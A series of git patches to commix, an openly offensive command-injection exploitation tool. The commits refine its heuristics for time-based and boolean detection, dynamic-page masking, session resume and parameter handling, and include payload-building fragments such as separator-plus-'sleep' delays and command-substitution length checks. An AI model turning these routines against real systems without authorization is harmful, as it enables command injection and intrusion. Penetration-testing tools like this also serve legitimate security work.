a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -569,7 +569,11 @@ def load_stored_techniques(url, check_parameter, http_request_method): # A technique this run was not asked to test is not resumed, nor reported as resumed. if not checks.technique_selected(letter, letter_is_eval): continue - stored[technique] = row + # Kept under the name this version knows it by, which is the name the order below is written + # in and the name everything that looks one up asks by: filed under the one the session was + # written with, a row from before a rename passed every check above and was then dropped by + # that order, leaving a point reported as resumed with nothing to resume it from. + stored[settings.LEGACY_TECHNIQUE_NAMES.get(technique, technique)] = row return {_: stored[_] for _ in settings.TECHNIQUE_ORDER if _ in stored} except Exception: return stored @@ -592,6 +596,9 @@ def apply_stored_technique(row): TAG, interpreter, payload, http_header, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) = row[:20] injection_type = stored_injection_type(injection_type) + # Read the same way the injection type above is: a session written under the older name names the + # same technique, and what is handed back is compared against the name this version uses. + technique = settings.LEGACY_TECHNIQUE_NAMES.get(technique, technique) # Older sessions (pre-tamper-column) won't have this field - default to "". tamper = row[20] if len(row) > 20 else "" # Older sessions (pre-target_os-column) won't have this field either. @@ -631,7 +638,12 @@ def apply_stored_technique(row): say_once_about_session(warn_msg) menu.options.tamper = tamper if target_os and target_os != "None": - if menu.options.os and menu.options.os.lower() != target_os: + # What the two mean rather than how each was written: '--os' takes both spellings of the family + # and leaves them as given, while the stored value is the one the rest of the code compares + # against - so 'unix-like' read as differing from a stored 'unix', and the run was warned about + # a conflict between two names for the same system. + applied_os = settings.OS.WINDOWS if (menu.options.os or "").lower() == settings.OS.WINDOWS else settings.OS.UNIX + if menu.options.os and applied_os != target_os.lower(): warn_msg = ("The stored session was found against target OS '" + target_os.title() + "', " "which differs from the '--os' value provided now ('" + menu.options.os.title() + "'). Using the stored value to replay this technique consistently.") diff --git a/src/utils/settings.py b/src/utils/settings.py index 1436b0cf53..5ed0864112 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "284" +REVISION = "285" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 42f351d32ca9df5f963aee8ba72ff8e1736fbc37 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 4 Nov 2026 06:16:20 +0200 Subject: [PATCH 0959/1023] dev286: Fixed several issues regarding false positives on pages that change on their own, the reliability check for time-related techniques, and `--skip-empty` handling --- src/core/controller/checks.py | 67 +++++++++++++++---- src/core/controller/handler.py | 16 +++++ src/core/requests/parameters.py | 34 ++++++---- src/core/requests/requests.py | 23 +++---- .../techniques/tempfile_based/tfb_handler.py | 29 ++++++++ .../techniques/tempfile_based/tfb_payloads.py | 7 +- src/core/techniques/time_based/tb_handler.py | 14 +++- src/utils/settings.py | 14 +++- 8 files changed, 159 insertions(+), 45 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 7eb3294495..c43573db48 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -1097,7 +1097,12 @@ def injection_process(injection_type, technique, done=False, i=None, total=None) def value_inside_boundaries(parameter, http_request_method): try: if isinstance(parameter, str): - value_inside_boundaries = re.search(r"=" + settings.VALUE_BOUNDARIES, parameter).group() + # Asked whether there are boundaries at all, rather than read off a match that may not be + # there: a value carrying none raised on the spot, and the handler below took that for the + # answer - which left it unable to tell a value with no boundaries from a fault in the + # questions that follow, since both arrived here as the same silence. + bounded = re.search(r"=" + settings.VALUE_BOUNDARIES, parameter) + value_inside_boundaries = bounded.group() if bounded else None if value_inside_boundaries: pcre_mod_value = value_inside_boundaries + settings.PCRE_MODIFIER[1:2] if pcre_mod_value not in parameter: @@ -1118,7 +1123,8 @@ def value_inside_boundaries(parameter, http_request_method): common.invalid_option(modifier_check) pass - value = re.search(settings.VALUE_BOUNDARIES, value_inside_boundaries).group(1) + inside = re.search(settings.VALUE_BOUNDARIES, value_inside_boundaries) + value = inside.group(1) if inside else None if value: value = value_inside_boundaries.replace(value, value + settings.CUSTOM_INJECTION_MARKER_CHAR) while True: @@ -3100,6 +3106,20 @@ def time_delay_due_to_unstable_request(timesec): def usable_stored_cmd(stored_value): return bool(stored_value) and not stored_value.startswith(settings.PARTIAL_VALUE_MARKER) +""" +Whether the target's own answers move about enough to hide a delay inside their spread. + +Read as how far the times are spread rather than as how long they are: a target that always takes +the same three seconds answers a delay as plainly as a fast one does, and asking about it only +because it is slow refuses a technique that would have worked. It is the swing between answers +that a delay has to stand clear of, so that is what is measured. +""" +def response_times_unsteady(): + sample = strip_time_outliers(settings.RESPONSE_TIMES) + if not sample or len(sample) < 2: + return False + return statistics.pstdev(sample) > settings.SLOW_TARGET_RESPONSE_STDEV + """ Drop high-latency spikes from a response-time sample via a median/MAD cutoff. """ @@ -4745,13 +4765,20 @@ def calibrate_boolean_oracle(page_true, page_false, code_true=None, code_false=N # settled once, off the page this run actually has, rather than assumed. if settings.NULL_CONNECTION_WORTHWHILE is None: settings.NULL_CONNECTION_WORTHWHILE = len(page_true) >= settings.NULL_CONNECTION_MIN_LENGTH - # Taken from the raw pages, not the masked ones below - a length is a length whether or not the - # bytes it counts fall inside a region 'comparable_page' would otherwise mask out. + true_page, false_page = comparable_page(page_true), comparable_page(page_false) + """ + Read as a length once the target's own moving parts are out of it. + + A length is a length whichever bytes it counts, so the pages themselves are measured as they came + back - but whether that length says anything is another question. A target printing something of + its own that varies in width, a timing or a counter, is a different number of bytes long on two + identical requests, and a difference read off that is the page moving rather than the question + being answered: taken for an answer, any boundary at all is confirmed on the strength of it. + """ true_length, false_length = len(page_true), len(page_false) - lengths_distinguish = true_length != false_length + lengths_distinguish = true_length != false_length and len(true_page) != len(false_page) if lengths_distinguish: settings.BOOLEAN_TRUE_LENGTH, settings.BOOLEAN_FALSE_LENGTH = true_length, false_length - true_page, false_page = comparable_page(page_true), comparable_page(page_false) if not true_page or true_page == false_page: # Content alone cannot tell the two apart - length still might, and is reported precisely # because it is the only one of the two that just did. @@ -4859,10 +4886,23 @@ def overlaps_change(candidate, page, regions): at = page.find(candidate, at + 1) return False - def usable(candidate, page, other, regions): + """ + The page's own moving parts are not an answer either. + + Sitting where the two answers differ is not enough on its own: a target that prints something of + its own that moves - a timing, a counter, a clock - differs there between two identical requests + as well, so that text lands in the difference without having anything to do with what was asked. + Those regions were measured from two samples of the same request before any of this, and taken + out of the comparison every other reading is made through; read through it here too, text that is + only the page moving is gone, and what is offered is what the answer actually changed. + """ + true_steady, false_steady = remove_dynamic_content(true_raw), remove_dynamic_content(false_raw) + + def usable(candidate, page, other, regions, steady): candidate = candidate.strip() return (candidate and candidate in page and candidate not in other - and overlaps_change(candidate, page, regions)) + and overlaps_change(candidate, page, regions) + and candidate in steady) # A sentence first, being the one worth reading back; then a single word. for pattern, sentence, extract in ((r"\A[\w.,! ]+\Z", True, lines), (r"\A\w{2,}\Z", False, words)): @@ -4872,11 +4912,11 @@ def usable(candidate, page, other, regions): continue if sentence and not (settings.SINGLE_WHITESPACE in candidate and len(candidate) > settings.CANDIDATE_SENTENCE_MIN_LENGTH): continue - if usable(candidate, true_raw, false_raw, changed_true): + if usable(candidate, true_raw, false_raw, changed_true, true_steady): return "--string=" + quoted_value(candidate) for candidate in sorted((_.strip() for _ in words(false_raw) - words(true_raw) if _.strip()), key=len): - if re.match(r"\A\w+\Z", candidate) and usable(candidate, false_raw, true_raw, changed_false): + if re.match(r"\A\w+\Z", candidate) and usable(candidate, false_raw, true_raw, changed_false, false_steady): return "--not-string=" + quoted_value(candidate) """ @@ -4886,11 +4926,12 @@ def usable(candidate, page, other, regions): which of them it rendered - so the tag around the difference is the difference, and quoting it is what makes the answer nameable at all. """ - for option, page, other, on_true in (("--string", true_raw, false_raw, True), - ("--not-string", false_raw, true_raw, False)): + for option, page, other, on_true, steady in (("--string", true_raw, false_raw, True, true_steady), + ("--not-string", false_raw, true_raw, False, false_steady)): for _, i1, i2, j1, j2 in opcodes: found = unique_around(page, other, *((j1, j2) if on_true else (i1, i2))) - if found: + # Held to what the answer changed here too, not to what the page moves on its own. + if found and found.strip() in steady: return option + "=" + quoted_value(found) return "" diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index 49891cdc6b..e5d82af3f3 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -741,6 +741,22 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): # payload changed nothing at all, whatever the two probes look like beside each other. if not settings.BOOLEAN_PRINTED_STATE and checks.comparable_page(page_false or "") == checks.comparable_page(settings.ORIGINAL_PAGE or ""): return None + """ + What the page moves on its own, measured again where the run can actually see it. + + It is looked for once when the target is first reached, from two samples of a request that + carries none of this - no cookie, no body, nothing in the parameter. A target that only runs + the command once it has one answers those two identically, nothing is recorded, and the + comparison everything below is read through goes on masking nothing at all. The same question + asked twice here is two answers that are meant to match, so whatever differs between them is + the page's own movement - learned before two answers that are meant to differ are weighed + against each other, rather than after a boundary has been confirmed on the strength of it. + """ + if not settings.DYNAMIC_MARKINGS and not settings.DYNAMIC_MARKINGS_RESAMPLED: + settings.DYNAMIC_MARKINGS_RESAMPLED = True + page_true_again = injector.page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter)[0] + if page_true and page_true_again: + checks.find_dynamic_content(page_true, page_true_again) # These two pages are what says which answer is which, so the target teaches the oracle first. if not checks.calibrate_boolean_oracle(page_true, page_false, code_true, code_false): return None diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index f968e87491..479843f527 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -631,15 +631,19 @@ def handle_multiple_post_parameters(parameter, multi_parameters, http_request_me if param > 0: all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue - # Replace the value of parameter with INJECT_HERE tag - if len(value) == 0: - if not menu.options.skip_empty: - if settings.IS_JSON: - all_params[param] = tag_empty_json_value(''.join(all_params[param])) - elif settings.IS_XML: - all_params[param] = ''.join(all_params[param]).replace("></", ">" + settings.INJECT_TAG + "</") - else: - all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) + # An empty value is backfilled with RANDOM_TAG upstream, so measure it with that stripped. + if len(str(value).replace(settings.RANDOM_TAG, "")) == 0: + if menu.options.skip_empty: + # Mirror the anti-CSRF skip above: drop the previous tag and add no candidate of its own. + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + continue + if settings.IS_JSON: + all_params[param] = tag_empty_json_value(''.join(all_params[param])) + elif settings.IS_XML: + all_params[param] = ''.join(all_params[param]).replace("></", ">" + settings.INJECT_TAG + "</") + else: + all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: all_params[param] = apply_tag_to_value(''.join(all_params[param]), value) if settings.IS_JSON and len(all_params[param].split("\":")) == 2: @@ -906,10 +910,14 @@ def do_cookie_check(cookie): if param > 0: all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue - # Replace the value of parameter with INJECT tag - if len(value) == 0: - if not menu.options.skip_empty: - all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) + # An empty value is backfilled with RANDOM_TAG upstream, so measure it with that stripped. + if len(value.replace(settings.RANDOM_TAG, "")) == 0: + if menu.options.skip_empty: + # Mirror the skips above: drop the previous tag and add no untagged candidate. + if param > 0: + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") + continue + all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: all_params[param] = apply_tag_to_value(''.join(all_params[param]), value) if param > 0: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 54134d9c32..bd8bfc59ba 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -449,19 +449,16 @@ def estimate_response_time(url, timesec, http_request_method): Convert the measured round-trip time into the slow-target warning and adjusted timesec. """ def _finish_response_time_estimate(diff, timesec): - if int(diff) < 1: - url_time_response = int(diff) - else: - url_time_response = int(round(diff)) - warn_msg = "Target's estimated response time is " + str(url_time_response) - warn_msg += " second" + "s"[url_time_response == 1:] - if settings.TARGET_OS == settings.OS.WINDOWS: - warn_msg += " (a relatively slow 'cmd.exe' on the target host adds to it)" - warn_msg += ". This may delay" - if url_time_response >= 3: - warn_msg += " and/or corrupt" - warn_msg += " data extraction." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ + Measured and kept, but not announced. + + How long the target takes is not on its own something to say anything about: a target that always + takes the same three seconds answers a delay as plainly as a fast one, and saying its data might + come back corrupted was telling it something about itself that was not true. What does make a + delay hard to read is the answers moving about, and that is asked about where it matters, off how + far they spread rather than off how slow they are. + """ + url_time_response = int(diff) if int(diff) < 1 else int(round(diff)) # The payloads count the delay in whole seconds, so a fractional one cannot be used as given - # rounded rather than dropped, and said out loud instead of quietly becoming a shorter delay. diff --git a/src/core/techniques/tempfile_based/tfb_handler.py b/src/core/techniques/tempfile_based/tfb_handler.py index d25657a4c9..bf2b3c7eb2 100755 --- a/src/core/techniques/tempfile_based/tfb_handler.py +++ b/src/core/techniques/tempfile_based/tfb_handler.py @@ -14,6 +14,7 @@ """ from src.core.parse import cmdline as menu +from src.utils import common from src.utils import settings from src.core.controller import handler from src.core.controller import checks @@ -236,6 +237,34 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time # read at all. settings.BASELINE_TARGET = (url, http_request_method) + """ + Asked here for the reason the time-based technique asks it. + + This one reads its answer by how long the target takes too, so answers that swing by seconds hide + its delay inside that swing just as readily - and it was the one time-related technique never + asked about it at all. Read as how steadily the target answers rather than how slowly, so a + target that is only slow is not offered up over its latency. + """ + if checks.response_times_unsteady(): + settings.RESPONSE_DELAYS = True + # Lowering the delay again is read off the same times that are moving about, so it is + # left where it is while they are. + settings.ADJUST_TIME_DELAY_DISABLED = True + while True: + message = "Considerable lagging has been detected in the target's responses, which makes " + message += "time-related techniques unreliable - a higher '--time-sec' (10 or more) stands " + message += "clear of it. How do you want to proceed? [(C)ontinue/(s)kip] " + proceed_option = common.read_input(message, default="C", check_batch=True) + if proceed_option.lower() in settings.CHOICE_PROCEED : + if proceed_option.lower() == "c": + break + elif proceed_option.lower() == "s": + return False + elif proceed_option.lower() == "q": + raise SystemExit() + else: + common.invalid_option(proceed_option) + if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) is False: settings.TIME_RELATED_ATTACK = settings.TEMPFILE_BASED_STATE = False return False diff --git a/src/core/techniques/tempfile_based/tfb_payloads.py b/src/core/techniques/tempfile_based/tfb_payloads.py index 8ef404fa2b..1cb4cce22c 100755 --- a/src/core/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/techniques/tempfile_based/tfb_payloads.py @@ -317,8 +317,11 @@ def condition_check(separator, condition, timesec, http_request_method): return tb_payloads.condition_check(separator, condition, timesec, http_request_method) # The Windows counterpart, likewise shared rather than restated. -def windows_condition_check(separator, condition, timesec, http_request_method): - return tb_payloads.windows_condition_check(separator, condition, timesec, http_request_method) +def windows_condition_check(separator, expr, expected, timesec): + # Named for what each one is, which is what the one it hands them to calls them: taken as a + # condition, a delay and a request method, the three lined up only because they were passed on + # in the order they arrived, and naming one of them in a call would have put it somewhere else. + return tb_payloads.windows_condition_check(separator, expr, expected, timesec) # Read one character of the file back, by asking whether its ordinal is at or below a value. def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): diff --git a/src/core/techniques/time_based/tb_handler.py b/src/core/techniques/time_based/tb_handler.py index fcb8d7d55d..8aa0805f87 100755 --- a/src/core/techniques/time_based/tb_handler.py +++ b/src/core/techniques/time_based/tb_handler.py @@ -15,6 +15,7 @@ from src.utils import common from src.utils import settings +from src.core.controller import checks from src.core.controller import handler """ @@ -37,11 +38,18 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, settings.TIME_RELATED_ATTACK = True tmp_path = "" - if url_time_response >= settings.SLOW_TARGET_RESPONSE: + # Asked about how steadily the target answers, not about how long it takes: a slow target that + # answers at the same speed every time is read as easily as a fast one, and the question was + # being put - and the technique offered up - over nothing but its latency. + if checks.response_times_unsteady(): settings.RESPONSE_DELAYS = True + # Lowering the delay again is read off the same times that are moving about, so it is + # left where it is while they are. + settings.ADJUST_TIME_DELAY_DISABLED = True while True: - message = "High response delays make time-related techniques unreliable. " - message += "How do you want to proceed? [(C)ontinue/(s)kip] " + message = "Considerable lagging has been detected in the target's responses, which makes " + message += "time-related techniques unreliable - a higher '--time-sec' (10 or more) stands " + message += "clear of it. How do you want to proceed? [(C)ontinue/(s)kip] " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": diff --git a/src/utils/settings.py b/src/utils/settings.py index 5ed0864112..77352fb7c7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "285" +REVISION = "286" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -774,6 +774,12 @@ class OS(object): # Slow target response. SLOW_TARGET_RESPONSE = 3 +# How far the target's own answers may spread before a delay read against them is unreliable. +# What makes a time-related answer hard to read is the times moving about, not how long they are: +# a target that always takes the same three seconds tells a delay apart as cleanly as a fast one, +# while one whose answers swing by seconds hides the delay inside its own spread. +SLOW_TARGET_RESPONSE_STDEV = 0.5 + # Number of samples estimate_response_time() takes the median of. RESPONSE_TIME_SAMPLES = 3 @@ -2432,6 +2438,12 @@ class END_LINE: # Where the page was found to move on its own, as what sits either side of each such region. DYNAMIC_MARKINGS = [] +# Whether the regions the page moves on its own have been looked for a second time, against a +# request shaped the way the run's own requests are. The first look is taken when the target is +# reached, which is before a cookie or a body is in play - and a target that only runs the command +# once it has one prints nothing that moves until then, so that look finds nothing to record. +DYNAMIC_MARKINGS_RESAMPLED = False + # How much of the text either side of a moving region is kept to anchor on. DYNAMICITY_BOUNDARY_LENGTH = 20 From 9c3a4ce0575d0db064651b877366c70d59f8df23 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 4 Nov 2026 06:18:56 +0200 Subject: [PATCH 0960/1023] Fixed several issues regarding injection points that were missed or confirmed on the wrong evidence, affecting the parameter's original value, the response delay threshold, the payloads built for the pipe separator and the boolean oracle's calibration --- src/core/controller/checks.py | 23 +++-- src/core/controller/controller.py | 98 +++++-------------- src/core/controller/handler.py | 10 +- src/core/controller/injector.py | 4 +- src/core/techniques/time_based/tb_payloads.py | 15 ++- src/utils/settings.py | 2 +- tests/test_checks.py | 68 +++++++++++++ tests/test_parameters.py | 27 +++++ tests/test_payloads.py | 22 +++++ 9 files changed, 177 insertions(+), 92 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index c43573db48..3c0e939558 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -244,7 +244,7 @@ def final_false_positive_check(url, http_request_method, check_parameter, timese # technique other than time/boolean-based never needed and a filter on '$' blocks outright - # a confirmed file/tempfile/OOB finding would otherwise be taken back over a limitation in # the re-ask, not in the finding. Retried once, already-'$'-free, before giving up. - if not output and not settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&"): + if not output and not settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&", "|"): settings.SKIP_SUBST = True try: _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method, @@ -3227,7 +3227,7 @@ def check_lagging(): """ Current adaptive delay threshold (mean + N*stdev of the baseline), or None if there's no data to compute a deviation from yet. """ -def _delay_threshold_from(times): +def _delay_threshold_from(times, timesec=None): sample = strip_time_outliers(times) if len(sample) < 2: return None @@ -3240,11 +3240,20 @@ def _delay_threshold_from(times): something that cannot be true sees a delay and calls the finding a false positive. The relative margin below covers the case on its own. """ - margin = max(settings.TIME_STDEV_COEFF * deviation, mean * settings.MIN_RELATIVE_DELAY_MARGIN) + relative = mean * settings.MIN_RELATIVE_DELAY_MARGIN + """ + A margin read off the target's own pace keeps climbing with it, while the delay being asked for + stays where it was put - so past a slow enough target the bar stands higher than any answer the + payload can produce, and a delay that fires every time is never once seen. Half the delay asked + for is the most that can be required of it, whichever of the two is the smaller. + """ + if timesec: + relative = min(relative, timesec * settings.MIN_RELATIVE_DELAY_MARGIN) + margin = max(settings.TIME_STDEV_COEFF * deviation, relative) return max(settings.MIN_VALID_DELAYED_RESPONSE, mean + margin) # How late an answer has to be before it counts as a delay that was asked for. -def current_delay_threshold(): +def current_delay_threshold(timesec=None): # Turned off with '--disable-stats': the delay asked for is then the only thing a probe is read # against, which is what the caller falls back to where no threshold is returned. if menu.options.disable_stats: @@ -3255,10 +3264,10 @@ def current_delay_threshold(): # two are never pooled, since a spread that wide reads as deviation and lifts the threshold above # the delay it exists to catch. if len(settings.PROBE_RESPONSE_TIMES) >= settings.MIN_PROBE_RESPONSES: - probe_threshold = _delay_threshold_from(settings.PROBE_RESPONSE_TIMES) + probe_threshold = _delay_threshold_from(settings.PROBE_RESPONSE_TIMES, timesec) if probe_threshold is not None: return probe_threshold - return _delay_threshold_from(settings.RESPONSE_TIMES) + return _delay_threshold_from(settings.RESPONSE_TIMES, timesec) """ Time related shell condition. Uses the adaptive threshold once available, else a fixed one. @@ -3266,7 +3275,7 @@ def current_delay_threshold(): def time_related_shell(exec_time, timesec): if settings.BASELINE_TARGET: warm_up_response_baseline(*settings.BASELINE_TARGET) - lower_limit = current_delay_threshold() + lower_limit = current_delay_threshold(timesec) delayed = exec_time >= lower_limit if lower_limit is not None else exec_time >= timesec return delayed diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index eb5d7f3ba6..d2ff398b11 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -773,10 +773,20 @@ def _body(value): return True """ -Replace the parameter value with a disposable placeholder if the response stays the same but gets faster. +Replace the parameter value with a placeholder an earlier run already confirmed the payload through. + +Not decided here on how the target answers the placeholder on its own. The value is what the command +before the payload is given, so one the target was not answering on changes what that command does - +a hostname that does not resolve where the real one did, failing where it used to succeed. A +separator that chains on that command having succeeded then never fires, and one that chains on its +having failed fires where the real value would never have let it, so the finding is either missed +outright or is one that does not reproduce. Nothing available before the payload has an oracle tells +those apart: a value worth skipping at all is one the target spends time on, and that time is the +command's own. So the exchange is made after detection instead, where the boundary it was found on +can re-ask the question and the answer says whether the placeholder still carries it. """ def attempt_skip_testable_value(url, http_request_method, check_parameter): - if not settings.TESTABLE_VALUE: + if not settings.TESTABLE_VALUE or not settings.LOAD_SESSION: return url if any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): @@ -788,81 +798,17 @@ def attempt_skip_testable_value(url, http_request_method, check_parameter): if not in_data and not in_url: return url - if settings.LOAD_SESSION: - # Trust a previously confirmed placeholder outright - no live probe on resume. - stored_placeholder = session_handler.check_stored_testable_value(url, check_parameter, http_request_method) - if not stored_placeholder: - return url - if in_data: - menu.options.data = menu.options.data.replace(marker, stored_placeholder + settings.INJECT_TAG) - else: - url = url.replace(marker, stored_placeholder + settings.INJECT_TAG) - settings.TESTABLE_VALUE = stored_placeholder - settings.TESTABLE_VALUE_OPTIMIZED = True - return url - - param_label = ("POST" if in_data else "GET") + " parameter '" + check_parameter + "'" - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Testing if " + param_label + " requires its original value." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - # Build the request with the given value in place of the parameter's own. - def build(value): - if in_data: - data = menu.options.data.replace(marker, value) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(url.replace(marker, value), method=http_request_method) - headers.do_check(request) - return request - - placeholder = ''.join(random.choice(string.ascii_uppercase) for _ in range(3)) - try: - # Both requests are paced before their clocks start: what is compared here is how long the - # target takes over either value, not how long this run was told to wait between requests. - real_request = build(settings.TESTABLE_VALUE) - headers.apply_request_policy() - start = time.time() - real_response = headers.send_raw(real_request, policy=False) - try: - real_body = real_response.read() - real_status = real_response.getcode() - finally: - real_response.close() - real_time = time.time() - start - - placeholder_request = build(placeholder) - headers.apply_request_policy() - start = time.time() - placeholder_response = headers.send_raw(placeholder_request, policy=False) - try: - placeholder_body = placeholder_response.read() - placeholder_status = placeholder_response.getcode() - finally: - placeholder_response.close() - placeholder_time = time.time() - start - except Exception: + # Confirmed on the run that stored it, through the boundary it was found on, so it is taken as it + # stands rather than asked about again. + stored_placeholder = session_handler.check_stored_testable_value(url, check_parameter, http_request_method) + if not stored_placeholder: return url - - same_status = real_status == placeholder_status - similar_size = abs(len(real_body) - len(placeholder_body)) <= max(50, len(real_body) * 0.2) - meaningfully_faster = placeholder_time < real_time * 0.7 and (real_time - placeholder_time) >= 0.5 - - if same_status and similar_size and meaningfully_faster: - if in_data: - menu.options.data = menu.options.data.replace(marker, placeholder + settings.INJECT_TAG) - else: - url = url.replace(marker, placeholder + settings.INJECT_TAG) - settings.TESTABLE_VALUE = placeholder - settings.TESTABLE_VALUE_OPTIMIZED = True - session_handler.import_testable_value_status(url, check_parameter, http_request_method, placeholder) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The real parameter value is not required, so it is skipped for faster requests." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - elif settings.VERBOSITY_LEVEL != 0: - debug_msg = param_label + " appears to require its original value." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - + if in_data: + menu.options.data = menu.options.data.replace(marker, stored_placeholder + settings.INJECT_TAG) + else: + url = url.replace(marker, stored_placeholder + settings.INJECT_TAG) + settings.TESTABLE_VALUE = stored_placeholder + settings.TESTABLE_VALUE_OPTIMIZED = True return url """ diff --git a/src/core/controller/handler.py b/src/core/controller/handler.py index e5d82af3f3..cc2874127f 100755 --- a/src/core/controller/handler.py +++ b/src/core/controller/handler.py @@ -751,8 +751,16 @@ def _answers_both_ways(whitespace, prefix, suffix, separator, TAG): asked twice here is two answers that are meant to match, so whatever differs between them is the page's own movement - learned before two answers that are meant to differ are weighed against each other, rather than after a boundary has been confirmed on the strength of it. + + Held back until the two answers in hand actually differ. A pair that comes back identical has + nothing to teach and nothing to get wrong, since the oracle reads it as no answer either way - + but spending the one sample on it leaves the movement unmeasured for the pair that does differ, + which is the only pair that can be taken for an answer it is not. On a target that runs the + command only once the payload reaches it, the early pairs are the ones where it never ran, and + what moves there - a timing the command prints, a counter - is on neither page to be found. """ - if not settings.DYNAMIC_MARKINGS and not settings.DYNAMIC_MARKINGS_RESAMPLED: + if not settings.DYNAMIC_MARKINGS and not settings.DYNAMIC_MARKINGS_RESAMPLED and \ + checks.comparable_page(page_true or "") != checks.comparable_page(page_false or ""): settings.DYNAMIC_MARKINGS_RESAMPLED = True page_true_again = injector.page_of(payload, prefix, suffix, whitespace, http_request_method, url, vuln_parameter)[0] if page_true and page_true_again: diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index c611c2bae5..555a9b428f 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -311,7 +311,7 @@ def _measure_length(payload): if not decision: checks.record_probe_response_time(exec_time) else: - lower_limit = checks.current_delay_threshold() + lower_limit = checks.current_delay_threshold(timesec) if lower_limit is not None: _adjust_time_delay(exec_time, lower_limit) return decision @@ -771,7 +771,7 @@ def _char_delayed(candidate, operator="-le"): if not decision: checks.record_probe_response_time(exec_time) else: - lower_limit = checks.current_delay_threshold() + lower_limit = checks.current_delay_threshold(local_timesec) if lower_limit is not None: _adjust_time_delay(exec_time, lower_limit) return decision diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index 57bab02405..b3c97f16d4 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -36,7 +36,7 @@ def _output_word(cmd): indexing would have the retrieval ask for characters that are not where it was told they are. """ def _length_expr(word): - return "$(printf '%s' \"" + word + "\" | wc -c)" + return settings.CMD_SUB_PREFIX + "printf '%s' \"" + word + "\" | wc -c" + settings.CMD_SUB_SUFFIX """ The same count, handed to 'awk' as an argument instead of carried in a variable. A separator that @@ -183,14 +183,15 @@ def decision(separator, TAG, output_length, timesec, http_request_method): # length did, and spares the payload a PowerShell launch whose own start-up time is noise a # timing measurement cannot afford. payload = checks.windows_probe(chain, "echo " + TAG, "==", TAG, timesec) - elif settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&"): + elif settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&", "|"): """ Nothing computed at all: the delay itself is the only thing being measured, so nothing here needs '$(...)' or a backtick to survive a filter that blocks both outright. This gives up the length check the payload otherwise builds in - "did it wait this long" is cruder than "did it wait exactly as long as this output's length says it should" - but it is the only oracle left - once neither substitution syntax gets through, and both of these separators run what follows - them regardless of what came before, so the delay is unconditional here either way. + once neither substitution syntax gets through, and each of these separators runs what follows + it regardless of what came before - a pipe runs both of its sides - so the delay is + unconditional here either way. """ payload = separator + "sleep " + str(timesec) else: @@ -236,7 +237,11 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ) - elif separator in ("|", "||") and checks.substitution_nests(): + elif separator in ("|", "||"): + # The marker is written out literally here, so the one substitution this counts it in holds + # nothing but a pipe - and a 